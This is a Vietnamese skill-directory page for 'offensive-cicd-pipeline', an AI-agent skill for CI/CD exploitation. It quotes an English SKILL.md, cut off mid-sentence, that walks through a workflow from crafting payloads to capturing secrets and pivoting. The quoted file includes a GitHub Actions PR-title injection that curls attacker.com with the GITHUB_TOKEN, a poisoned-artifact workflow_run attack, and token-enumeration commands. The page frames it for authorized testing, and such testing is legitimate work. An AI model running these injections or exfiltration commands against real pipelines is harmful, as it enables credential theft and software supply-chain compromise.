offensive-cicd-pipeline
Skill này làm gì
Skill này là phương pháp kiểm thử pipeline CI/CD trong các đánh giá được ủy quyền. Nó bao quát chèn mã vào GitHub Actions, các đường tấn công Jenkins và rủi ro chuỗi cung ứng trong hệ thống build. Nó dành cho chuyên gia bảo mật rà soát cách pipeline build có thể bị lạm dụng.
Khi nào nên dùng
- ✓Khi bạn kiểm thử một workflow GitHub Actions để tìm rủi ro chèn mã trong một đánh giá được ủy quyền.
- ✓Khi bạn muốn kiểm tra một máy chủ Jenkins về việc lộ script hoặc thông tin xác thực rủi ro trong một bài kiểm thử đã ký duyệt.
- ✓Khi bạn cần rà soát phạm vi token của pipeline và các sự kiện kích hoạt để tìm rủi ro chuỗi cung ứng.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-pipeline/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi được ủy quyền kiểm thử các pipeline CI của mình. Kiểm tra các workflow GitHub Actions xem có rủi ro chèn mã không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill liệt kê các cấu hình pipeline, xác định sự kiện và đầu vào nào kẻ tấn công có thể kiểm soát, rồi lập bản đồ phạm vi token. Sau đó nó chọn phương pháp kiểm thử phù hợp với mức truy cập đang được kiểm thử.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Offensive CI/CD Pipeline Exploitation
CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
Quick Workflow
- Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
- Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
- Map token scopes and available secrets for each pipeline context.
- Select the injection vector matching your access level (contributor, external PR, authenticated user).
- Craft the payload for the target platform's expression language or script engine.
- Execute and capture output -- secrets, tokens, or artifact modification.
- Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
GitHub Actions Expression Injection
GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.
The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into run: steps or action inputs.
Identify vulnerable workflows by searching for direct interpolation of event data:
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
A vulnerable workflow looks like this:
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
You inject through the PR title:
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the workflow_run workflow processes it with elevated privileges:
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
with:
name: pr-data
path: payload.sh
# The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
Enumerate GITHUB_TOKEN permissions to understand your execution scope:
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
Composite action supply chain attacks target reusable actions referenced without SHA pinning:
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Use gato to enumerate a
Câu hỏi thường gặp
Nó bao quát những nền tảng CI/CD nào?
Nó bao quát GitHub Actions, Jenkins và các pipeline lớn khác, gồm GitLab và Azure.
Token over-scope là gì?
Đó là khi token của pipeline có nhiều quyền hơn mức job cần, và skill kiểm tra điều này.
Đây có chỉ dành cho kiểm thử được ủy quyền không?
Có. Skill được viết cho các đánh giá có văn bản cho phép của bạn.
Chi tiết
Mô tả gốc của tác giả
Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline ag
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11948
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-api-security
10kChạy kiểm thử bảo mật được ủy quyền trên API REST, gRPC và WebSocket, dựa trên OWASP API Top 10.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.